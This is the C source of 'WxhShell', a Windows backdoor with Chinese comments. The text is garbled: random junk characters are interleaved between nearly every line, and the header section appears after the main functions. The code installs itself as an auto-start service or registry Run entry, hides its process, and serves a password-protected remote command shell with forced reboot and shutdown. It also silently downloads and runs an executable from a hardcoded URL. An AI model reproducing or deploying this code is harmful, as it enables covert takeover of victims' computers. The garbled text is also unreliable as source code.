Fgit PROCESS_BASIC_INFORMATION pbi; s'^sT=b 7>V*gV?v HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zCdcwTe if(NULL == hInst ) return 0; p:;`X! _Rb>py g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xqy9D ZIn g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LO;?#e7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b%QcB[k[WB TCR|wi]
kW if (!NtQueryInformationProcess) return 0; l3xI\{jn P,rD{ 0~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *.6m,QqJ( if(!hProcess) return 0; der\"?_. 2b/Cs#- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `$9sYv 2R O)!S[5YI CloseHandle(hProcess); nN2huNTf: {O6yJckH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e-Zul.m if(hProcess==NULL) return 0; jdIAN OWc~=Cr HMODULE hMod; I}+9@d char procName[255]; x
}@P unsigned long cbNeeded; Jr=XVQ(F JRR,ooN*i if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F!<!)_8Q
kIR/.Ij} CloseHandle(hProcess); \beYb0(+ VfFbZds8f if(strstr(procName,"services")) return 1; // 以服务启动 $H`{wJ?2( fZp3g%u return 0; // 注册表启动 <Gna}ALkg } z22:O"UHa (]` rri*^ // 主模块 DB+oCE<.# int StartWxhshell(LPSTR lpCmdLine) bao"iv~z { FeNNzV= SOCKET wsl; qfX26<q BOOL val=TRUE; "QvTn= int port=0; N F,<^ u struct sockaddr_in door; CiV^bYi ^ib
=fLu if(wscfg.ws_autoins) Install(); mqtYny' iS< ^MD port=atoi(lpCmdLine); F1t+D)KA> )O2IEwPd. if(port<=0) port=wscfg.ws_port; #||D,[ _=+ Jflm-Hhsf WSADATA data; z%1& t4$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0DFVB%JdI DKF`
xuJP if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [$c"}=g[+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M0T z('~s door.sin_family = AF_INET; h'+F'1= door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8#w%qij door.sin_port = htons(port); ME66BWg{ ";;!c. !^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { of {K{(M7@ closesocket(wsl); pL . 0_ return 1; !X9^ L^v} } ^zW=s$\Fo e$Mvl=NYp\ if(listen(wsl,2) == INVALID_SOCKET) { \EXa 9X2 closesocket(wsl); ~)VI`36X return 1; u@;e`-@ } z+{xW7 Wxhshell(wsl); CEVisKcE: WSACleanup(); -Jf}3$Ra 1aZGt2; return 0; D"2bgw w"37sv } H>Ucmd;ay dUUg}/ // 以NT服务方式启动 '
&3,qT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wD:2sri { :cf#Tpq" DWORD status = 0; ~uV(/?o% DWORD specificError = 0xfffffff; 1IlOU|4 PuhvJHT serviceStatus.dwServiceType = SERVICE_WIN32; Z6-ZAS(>m serviceStatus.dwCurrentState = SERVICE_START_PENDING; M!D6i5k, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gWL`J=DiU serviceStatus.dwWin32ExitCode = 0; dai+" serviceStatus.dwServiceSpecificExitCode = 0; yzMGZi`ut serviceStatus.dwCheckPoint = 0; fwiP3*j+Nn serviceStatus.dwWaitHint = 0; K { FZ/ |+KwyHE`9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?\)h2oi!F5 if (hServiceStatusHandle==0) return; ~N2=44e t
.}];IJP status = GetLastError(); ~ToU._ if (status!=NO_ERROR) do*aE { D &@Iuo serviceStatus.dwCurrentState = SERVICE_STOPPED; ?bpVdm! serviceStatus.dwCheckPoint = 0; -:kIIK
serviceStatus.dwWaitHint = 0; J"Fp), serviceStatus.dwWin32ExitCode = status; 7<Qmpcp = serviceStatus.dwServiceSpecificExitCode = specificError; wFMw&=j SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4*D"*kR; return; /2
hk 9XM } &po!X ) EqGpo_ serviceStatus.dwCurrentState = SERVICE_RUNNING; Sfa=AV7K serviceStatus.dwCheckPoint = 0; 1*|/N}g) serviceStatus.dwWaitHint = 0; +,]VXH<y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !!ma]pB, } *Hi}FI 0OQ*V~>f // 处理NT服务事件,比如:启动、停止 2% /Kf}+ VOID WINAPI NTServiceHandler(DWORD fdwControl) 6`vW4]zu { m;A[2 6X switch(fdwControl) L^zh|MEyzk { hsT&c| case SERVICE_CONTROL_STOP: }dHdy{$ serviceStatus.dwWin32ExitCode = 0; MTN*{ug2: serviceStatus.dwCurrentState = SERVICE_STOPPED; HOF=qE*p serviceStatus.dwCheckPoint = 0; =LODX29 serviceStatus.dwWaitHint = 0; ?D6|~k
i { ^ g|VZN SetServiceStatus(hServiceStatusHandle, &serviceStatus); nM Z)x- } qGX#(,E9; return; +jK-k_ case SERVICE_CONTROL_PAUSE: IibYG F serviceStatus.dwCurrentState = SERVICE_PAUSED; H
cyoNY break; [qC0YM case SERVICE_CONTROL_CONTINUE: q3#+G:nh serviceStatus.dwCurrentState = SERVICE_RUNNING; (Q @'fb9z break; x$bUd 9 case SERVICE_CONTROL_INTERROGATE: aL`wz ! break; "<{|ni} }; ,p OGT71 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Pllxq<n } hF$qH^-c*A <hj2'dU // 标准应用程序主函数 G maNi int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l GBg8/[ { qTN%9!0@9 9(nq 4HvI // 获取操作系统版本 cs?WE9N OsIsNt=GetOsVer(); 1_#;+S GetModuleFileName(NULL,ExeFile,MAX_PATH); E1tCY.N{ dq`{fqGl // 从命令行安装 8e3eQ if(strpbrk(lpCmdLine,"iI")) Install(); K!.t}s.t q*|Alrm // 下载执行文件 EFljUT?& if(wscfg.ws_downexe) { K5|~iW' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >Q!}tbg~9 WinExec(wscfg.ws_filenam,SW_HIDE); HZZZ [km } P.5l9Ns(O oC*a;o if(!OsIsNt) { #{{p4/: // 如果时win9x,隐藏进程并且设置为注册表启动 u '/)l} HideProc(); Nh_\{
&r StartWxhshell(lpCmdLine); >*VvV/UU } ]wdE
:k,D else y`j=(|DV if(StartFromService()) vq^';<Wh. // 以服务方式启动 *i^$xjOa StartServiceCtrlDispatcher(DispatchTable); ]K*R[ else gwQMy$ // 普通方式启动 iB"ji4[z StartWxhshell(lpCmdLine); abm 3q!a- Um6}h@> return 0; lZ.lf.{F } TH'8^w f [A/2
M s RJzIzv99m kHylg{i{" =========================================== #IZh}*$ r A(A$VR "mQcc}8 :;yrYAyT3 <<CWN(hQWO `G/g/>y " [M,4qe8,} `D
|/g; #include <stdio.h> 77yYdil^W+ #include <string.h> iiMS3ueF #include <windows.h> )=d)j^t9 #include <winsock2.h> 7xv9v1[' #include <winsvc.h> jhQoBC>: #include <urlmon.h> =>`zk^ 'JJKnE zQ #pragma comment (lib, "Ws2_32.lib") ~{tO8
] #pragma comment (lib, "urlmon.lib") |xcC'1WU sdg2^] | #define MAX_USER 100 // 最大客户端连接数 #gO[di0WhC #define BUF_SOCK 200 // sock buffer c/A?-9 #define KEY_BUFF 255 // 输入 buffer 05T?c{ ; i79$D:PcLa #define REBOOT 0 // 重启 )Yy5u'} #define SHUTDOWN 1 // 关机 1xd6p T+@i;M #define DEF_PORT 5000 // 监听端口 Yq6 @R|u CYgokS\=, #define REG_LEN 16 // 注册表键长度 >Ti%Th, #define SVC_LEN 80 // NT服务名长度 J(d[05x0 Ih|4ISI // 从dll定义API [)s4:V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~Yi4?B< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g^(gT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c{I]!y^! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cm)TFh6 n19A>,m // wxhshell配置信息 GHd1?$ struct WSCFG {
^ExuIe int ws_port; // 监听端口 hE5?G; char ws_passstr[REG_LEN]; // 口令 } SWp~3P int ws_autoins; // 安装标记, 1=yes 0=no D^6iQW+.P char ws_regname[REG_LEN]; // 注册表键名 SfC* ZM}< char ws_svcname[REG_LEN]; // 服务名 ||QK)$" char ws_svcdisp[SVC_LEN]; // 服务显示名 O}Pqbx& char ws_svcdesc[SVC_LEN]; // 服务描述信息 )5~T%_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b)Da6fp int ws_downexe; // 下载执行标记, 1=yes 0=no 7uL.=th' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C 8wGbU6` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vw;aL#PP c, .@Cc2 }; G6zFQ\&f ^C~Ryw7 // default Wxhshell configuration U@y)x+: struct WSCFG wscfg={DEF_PORT, qzbW0AM[M "xuhuanlingzhe", $.4A?,d 1, L<@*6QH "Wxhshell", LxhS
9 "Wxhshell", (KyOo,a "WxhShell Service", re[5lFQ~Z "Wrsky Windows CmdShell Service", wrgB =o "Please Input Your Password: ", 2}pZyS 1, BYEZ[cM "http://www.wrsky.com/wxhshell.exe", JS^DyBXc "Wxhshell.exe" sED"}F) }; (FApkvy B._YT // 消息定义模块 r/'!#7dLG- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |{kbc0* char *msg_ws_prompt="\n\r? for help\n\r#>"; lr~
|=}^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0j(U & char *msg_ws_ext="\n\rExit."; cWx`y>< char *msg_ws_end="\n\rQuit."; y*+8Z&i.: char *msg_ws_boot="\n\rReboot..."; 81:%Z&?vRl char *msg_ws_poff="\n\rShutdown..."; w=;> char *msg_ws_down="\n\rSave to "; "NLuAB.P Hq::F? char *msg_ws_err="\n\rErr!"; o}:x-Y char *msg_ws_ok="\n\rOK!"; fm-m?= IxCesh char ExeFile[MAX_PATH]; d-1D:Hs? int nUser = 0; Z3{1`"\<K
HANDLE handles[MAX_USER]; XJeWhk3R9 int OsIsNt; ptT-{vG 02t({>` SERVICE_STATUS serviceStatus; 4;Ucas6 SERVICE_STATUS_HANDLE hServiceStatusHandle; .cJoNl'q U~?VN!<x[ // 函数声明 LJ~#0Zu? int Install(void); E7iAN\vo int Uninstall(void); 3W[?D8yi) int DownloadFile(char *sURL, SOCKET wsh); D
tZ?sG int Boot(int flag); @a@}xgn{ void HideProc(void); _xCYh|DlQ| int GetOsVer(void); aq_K,li#w int Wxhshell(SOCKET wsl); }p*|8$#x" void TalkWithClient(void *cs); x6R M)rr int CmdShell(SOCKET sock); E8r6P:5d` int StartFromService(void); N
Nk int StartWxhshell(LPSTR lpCmdLine); "NA<^2W@J XyN
" Jr VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $+GDPYm' VOID WINAPI NTServiceHandler( DWORD fdwControl ); u*2?Gky zO"De~[9 // 数据结构和表定义 v(yJGEf0 SERVICE_TABLE_ENTRY DispatchTable[] = "JSIn"/ { ,M{G
X {wscfg.ws_svcname, NTServiceMain}, g@!U^mr*3 {NULL, NULL} <`pNdy4 }; G$TO'Ciu: p% mHxYP // 自我安装
%p int Install(void) b-VtQ%Q { 7nnF!9JOv char svExeFile[MAX_PATH]; *:xOenI HKEY key; 8]`#ax
5 strcpy(svExeFile,ExeFile); .c}+kHv hJ`Gu7 // 如果是win9x系统,修改注册表设为自启动 q-;Y }q if(!OsIsNt) { ]m1p<*0I$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SgxrU&:: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i%.NP;Qq]M RegCloseKey(key); njxLeDe- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aBReIK o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :<zIWje RegCloseKey(key); tlp,HxlP return 0; ZN)EbTpc\a } <(>t"< } 9.\SeJ8c } VrPsy) J68 else { p*0[:/4 \_,p@r]Q // 如果是NT以上系统,安装为系统服务 TSewq4`K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vc"!3x-G* if (schSCManager!=0) @6~lZgXOV[ { [A =0fg5 SC_HANDLE schService = CreateService wX}p6yyN ( \:{K",2 schSCManager, YOLzCnI4 wscfg.ws_svcname, Sk+XBX(} wscfg.ws_svcdisp, axUj3J> SERVICE_ALL_ACCESS, ow9a^|@a SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !@Qk=Xkg SERVICE_AUTO_START, ^wBlQmW7J SERVICE_ERROR_NORMAL, M]6+s`?r svExeFile, \78^ O NULL, n?cC]k;P~ NULL, $Okmurnn NULL, .5a>!B.I NULL, _2G _Io NULL hJ ^+asr ); b]z_2h~` if (schService!=0) 1Zc=QJw@ { ^,I2@OS CloseServiceHandle(schService); 'k\j[fk/K CloseServiceHandle(schSCManager); ?&wrz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &P9fM-]b
s strcat(svExeFile,wscfg.ws_svcname); !gW`xVGv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \;N+PE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o+{,>t RegCloseKey(key); AA[1[ return 0; N8Rq7i3F?a } *nU5PSs } 0yC~"u[N Y CloseServiceHandle(schSCManager); `.pEI q^ } a~jb%i_ } mM&P&mz/D :a/rwZ[r return 1; 13F]7l-# } @Nsn0-B?ne (n7xYGfYS // 自我卸载 8%B_nVc int Uninstall(void) 9R8q+2
{ 0,RYO :` HKEY key; 5@>hjXi"Y ?[ )}N
_o# if(!OsIsNt) { 8d5#vm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d)-ZL*o RegDeleteValue(key,wscfg.ws_regname); E{ c+`>CY RegCloseKey(key); HL"c yxe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Q|a R RegDeleteValue(key,wscfg.ws_regname); -&7?!<f RegCloseKey(key); UAXp;W` return 0; 0>CG2 SRn } [ K/l;Zd } cJ$jU{} } 9*s8%pL else { |
CFG<] qX\85dPn@} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VC/n}7p if (schSCManager!=0) *Lrrl { 4dFr~ { SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 79>x/jZka if (schService!=0) .Xp,|T { ZPw4S2yw3. if(DeleteService(schService)!=0) { c\o_U9=n CloseServiceHandle(schService); w~Q\:<x&~Z CloseServiceHandle(schSCManager); Sc{&h8KMTb return 0; DDkN3\w } 1(Vv-bq$ CloseServiceHandle(schService); I= :yfW } wX)'1H):T CloseServiceHandle(schSCManager); zNo,PERG } @uyQH c,V } &q|vvF<G W[J2>`k9 return 1; 0-uj0"r` } aB~k8]q. m,+PYq // 从指定url下载文件 9J7yR}2-F int DownloadFile(char *sURL, SOCKET wsh) 5(CInl { YG0/e#5 HRESULT hr; F>{bVPh
VA char seps[]= "/"; #g$I>\O< char *token; \m)s"Sh. char *file; %52e^,// char myURL[MAX_PATH]; XuJyso9kA char myFILE[MAX_PATH]; d4IQ;u bX38=.up strcpy(myURL,sURL); =t_+ajY% token=strtok(myURL,seps); `m(ZX\W] while(token!=NULL) 19GF%+L
, { <$?#P#A file=token; NqF*hat token=strtok(NULL,seps); KtAEM;g } *bpN!2 E7h@Y~bNhW GetCurrentDirectory(MAX_PATH,myFILE); N:3=G`Ws strcat(myFILE, "\\"); Pn^:cr| strcat(myFILE, file); [p'2#Et send(wsh,myFILE,strlen(myFILE),0); 51eZf JB send(wsh,"...",3,0); A*0X~6W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K3:z5j.X if(hr==S_OK) ]~
N. return 0; "Fmq$.$% else M/W9"N[ta return 1; *sp")h#Z yj_/:eX } 2* `kkS P51c Ehf // 系统电源模块 FYik}wH] int Boot(int flag) >yn?@ve@ { )2" g)9! HANDLE hToken; ("=q-6$G TOKEN_PRIVILEGES tkp; FDuA5At ][Tw^r& if(OsIsNt) { {nSgiqd"28 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bkq4V$D_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oNXYBeu+ tkp.PrivilegeCount = 1; Iw[zN[oz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9-j-nx
@) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0aR.ct% if(flag==REBOOT) { .6[8$8c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .sit5BX return 0; nl2Lqu1 } t5l<Lm) else { OF1^_s; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BIMX2.S1o return 0; [YlRz } $ H@
} oAN,_1v) else { ~-sgk"$ if(flag==REBOOT) { ozS'n]8* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S`[(y?OF? return 0; 2IHS)kkT| } L=#B>Eu else { s'tXb=!HO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H{E(=S return 0; tAjT-CXg } ![{/V,V]~ } \l0!si h] )&mFiE" return 1; &/' O?HWl } >9nVR of7'?]w // win9x进程隐藏模块 &Pv$nMB$I void HideProc(void) ^K[xVB(& { ]Y?ZUSCJ -|#/KKF HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JK{2hr_a if ( hKernel != NULL ) hQ:wW}HWW { BHz_1+d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <au_ S\n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hUi5~;Q5Fi FreeLibrary(hKernel); H]V(qq{ } L1`^M \g]rOYW return; 3k_\xQ } RF<f oVUsI,8 // 获取操作系统版本 qe1>UfY int GetOsVer(void) NV{= tAR { xZq, kP^ OSVERSIONINFO winfo; ?gU-a winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tl_o+jj GetVersionEx(&winfo); #.]W>hN8\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x=K'Jj return 1; a]V#mF |{ else `mZ1!I-T return 0; [G+@[9hn% } 0ZL>- -{?xl*D // 客户端句柄模块 "{S4YA int Wxhshell(SOCKET wsl) *.$ov<E. { &j'k9C2p SOCKET wsh; kMzDmgoxNg struct sockaddr_in client; *
kL>9 DWORD myID; ):+^893) k|]l2zlT while(nUser<MAX_USER) "j&p3 { =RWY0| f int nSize=sizeof(client); # NK{]H$fd wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #"C*dNAB if(wsh==INVALID_SOCKET) return 1; o+^e+ptc d`?EEO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $WE_aNfja if(handles[nUser]==0) %0815
5M closesocket(wsh); <T'fJcR else b5|l8<\ nUser++; (7~vOWs:[ } `yhc,5M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ][OkydE rw@N=`4P return 0; jt @2S } BlqfST#6 ^^xzaF // 关闭 socket oe9S$C;$' void CloseIt(SOCKET wsh) =AHV{V~ { )i-`AJK-'v closesocket(wsh); YSZ[~?+ nUser--; oqK:
5| ExitThread(0); Vz5<Gr } DAN"&& u0uz~ s // 客户端请求句柄 >NpW$P{' void TalkWithClient(void *cs) @6U&7! { u7p:6W 0eCjK. SOCKET wsh=(SOCKET)cs; v!mP9c
j char pwd[SVC_LEN]; phwq#AxQ char cmd[KEY_BUFF]; X5tV Xd char chr[1]; lvk*Db$ int i,j; 4uVyf^f\]f -x/g+T- while (nUser < MAX_USER) { M9yqJPS}B F zBny[F if(wscfg.ws_passstr) { ,b+Hy`t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ws]d,] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {5fq4AA6 //ZeroMemory(pwd,KEY_BUFF); noT}NX% i=0; zzKU s "u while(i<SVC_LEN) { 127@
TN" KA`)dMWL // 设置超时 wp/x|AV fd_set FdRead; P}PMRAek struct timeval TimeOut; )fT0FLl|1 FD_ZERO(&FdRead); F<6{$YI FD_SET(wsh,&FdRead); (ubK
i[) TimeOut.tv_sec=8; A_6Dol=J@ TimeOut.tv_usec=0; B)-P#,} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R?*-ZI[>w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %#]/]B/4 ?H!X
p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t6+>Zr pwd=chr[0]; I|mxyyf if(chr[0]==0xd || chr[0]==0xa) { k"FY
&;G(G pwd=0; Lr>4~1:` break; 0g@*N4 } RQn3y-N] i++; wi:d!,P`e } Rk{2ZUeg #|e5i9l*B // 如果是非法用户,关闭 socket 1Imb"E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0*u X2* } <DdzDbgax l)0yv2[h send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xb*>7U/'T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lU3Xd_v
O %x$mAOUv while(1) { 0I.! 'VY\ut ZeroMemory(cmd,KEY_BUFF); )4/UzR$ ,!^w // 自动支持客户端 telnet标准 |1 LKdP j=0; L\kT9wWK| while(j<KEY_BUFF) { w?p8)Q6m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OoAZ t cmd[j]=chr[0]; gkv,Om if(chr[0]==0xa || chr[0]==0xd) { e}"k8 ./ cmd[j]=0; 1]jUiX=T break; E!>l@
ki } 6HR*)*>z_ j++; ]h&?^L<. } z: W1(/W~ ~leLQsZ // 下载文件 :&D$Q
4 if(strstr(cmd,"http://")) { Z@:R'u2Lk send(wsh,msg_ws_down,strlen(msg_ws_down),0); }pPt- k if(DownloadFile(cmd,wsh)) }Qvoms<k send(wsh,msg_ws_err,strlen(msg_ws_err),0); wsCT9&p else ok9G 9|HA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >qIZ } #*K!@X else { 1 ^=[k 4=n%<U`Z/ switch(cmd[0]) { p$%g$K
PYYO-Twg // 帮助 _:;j)J0 case '?': { d`Em)3v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b(gcnSzM2 break; m-!z(vcn } |teDe6\m // 安装 k+&1?] case 'i': { vR\[I V? if(Install()) _b 8XF&O send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hz<)a(r!J else _N`pwxpsb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =E%<"FB break; =R\-mov$ } q\5C-f // 卸载 h!>NS ?X7 case 'r': { 5B=Wnau if(Uninstall()) 6MRS0{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6P I-"He else GB_m&t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a'|Dm7'4t break; UwxrYouv~@ } 6Bm2_B // 显示 wxhshell 所在路径 84dej< case 'p': { u~d&<_Z char svExeFile[MAX_PATH]; DK;/eZe strcpy(svExeFile,"\n\r"); 0CO6-&F9n strcat(svExeFile,ExeFile); QCWk[Gx send(wsh,svExeFile,strlen(svExeFile),0); IN9o$CZ: break; EMejvPnZO
} ~d?\rj3= // 重启 DWH)<\? case 'b': { Q,`Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aw:0R=S,> if(Boot(REBOOT)) { n%U2LVL send(wsh,msg_ws_err,strlen(msg_ws_err),0); $yb8..+ else { Q-N.23\1 closesocket(wsh);
qz:_T ExitThread(0); YB} _zuZ4& } y0'" break; w8g36v*+(u } T{lJ[M // 关机 rzqUI*4% case 'd': { ^i^S1h"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j{'@g[HW if(Boot(SHUTDOWN)) gB@Wv91 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .tb~f@xL else { ARu^hz= closesocket(wsh); 5+O#5"v_ ExitThread(0); 4[&6yHJ^ } ",rA break; u$[T8UqF } ~1h-LbFI2 // 获取shell =kLg)a | case 's': { SwuadN CmdShell(wsh); ;"nEEe]? closesocket(wsh); y!^RL,HIL ExitThread(0); /(nA)V( : break; U\~[ } OkO"t // 退出 fwQ%mU+ case 'x': { )V}u1C-N send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #UJ@P Dwil CloseIt(wsh); Ve8`5
break; [P{Xg:0 } 4"j5@bppJ // 离开 }H,A
T case 'q': { ()>\D send(wsh,msg_ws_end,strlen(msg_ws_end),0); EX&y
! closesocket(wsh); 8YN+
\ WSACleanup(); cY>;( x@ exit(1); Ec6{?\ break; %3VwCuE } [*>@hx } RGtUKr' } T
"G! H m x,X!} // 提示信息 .[Sv|;x"E if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <ZrZSt+< } M=N`&m |